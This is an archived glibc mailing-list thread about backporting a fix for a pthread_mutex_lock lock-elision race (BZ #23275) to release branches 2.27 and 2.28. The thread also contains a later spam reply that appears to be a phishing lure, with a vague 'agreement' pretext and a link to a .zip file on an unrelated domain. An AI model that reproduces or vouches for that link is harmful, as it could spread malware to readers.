* [COMMITTED 2.27 / 2.28] Fix race in pthread_mutex_lock while promoting to PTHREAD_MUTEX_ELISION_NP [BZ #23275]
[not found] ` <20603cf9-6427-d7da-8bf6-b2eed6abb61a@linux.ibm.com>
@ 2018-01-01 0:00 ` Stefan Liebler
0 siblings, 0 replies; 2+ messages in thread
From: Stefan Liebler @ 2018-01-01 0:00 UTC (permalink / raw)
To: libc-stable; +Cc: libc-alpha, Florian Weimer
On 10/17/2018 12:28 PM, Stefan Liebler wrote:
> On 10/16/2018 03:01 PM, Florian Weimer wrote:
>> * Stefan Liebler:
>>
>>> The flag PTHREAD_MUTEX_NO_ELISION_NP is not explicitly checked before
>>> FORCE_ELISION is called. But only one of those two flags can be set.
>>> Your remaining assumption is correct.
>>> I've changed the comment in the three force-elision.h files. Is this
>>> okay?
>>
>> The comment looks good to me know. Thanks!
>>
>> Florian
>>
> Committed, bugzilla closed and target milestone is set to 2.29.
>
> Thanks,
> Stefan
>
Starting with glibc 2.27, the configure switch --enable-lock-elision was
removed with commit "Add elision tunables"
(https://sourceware.org/git/?p=glibc.git;a=commit;h=07ed18d26a342741cb25a4739158c65ed9dd4d09).
Now you can use lock-elision by just setting the tunables environment
variable.
Therefore I've cherry picked this patch to release branch 2.27 / 2.28.
Bye
Stefan
^ permalink raw reply [flat|nested] 2+ messages in thread
* Re: [COMMITTED 2.27 / 2.28] Fix race in pthread_mutex_lock while promoting to PTHREAD_MUTEX_ELISION_NP [BZ #23275]
@ 2021-10-01 14:19 libc-stable&sourceware org
0 siblings, 0 replies; 2+ messages in thread
From: libc-stable&sourceware org @ 2021-10-01 14:19 UTC (permalink / raw)
To: libc-stable
Good day.
Due to a few circumstances, I need you to change a list recent agreement.
https://neonluzz.com/occaecati-qui/et.zip
-----Original Message-----
On Thursday, 18 October 2018, 10:38, <libc-stable@sourceware.org> wrote:
> Good day.
>
> Due to a few circumstances, I need you to change a list recent agreement.
>
> https://neonluzz.com/occaecati-qui/et.zip
^ permalink raw reply [flat|nested] 2+ messages in thread
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2018-01-01 0:00 ` [COMMITTED 2.27 / 2.28] Fix race in pthread_mutex_lock while promoting to PTHREAD_MUTEX_ELISION_NP [BZ #23275] Stefan Liebler
2021-10-01 14:19 libc-stable&sourceware org
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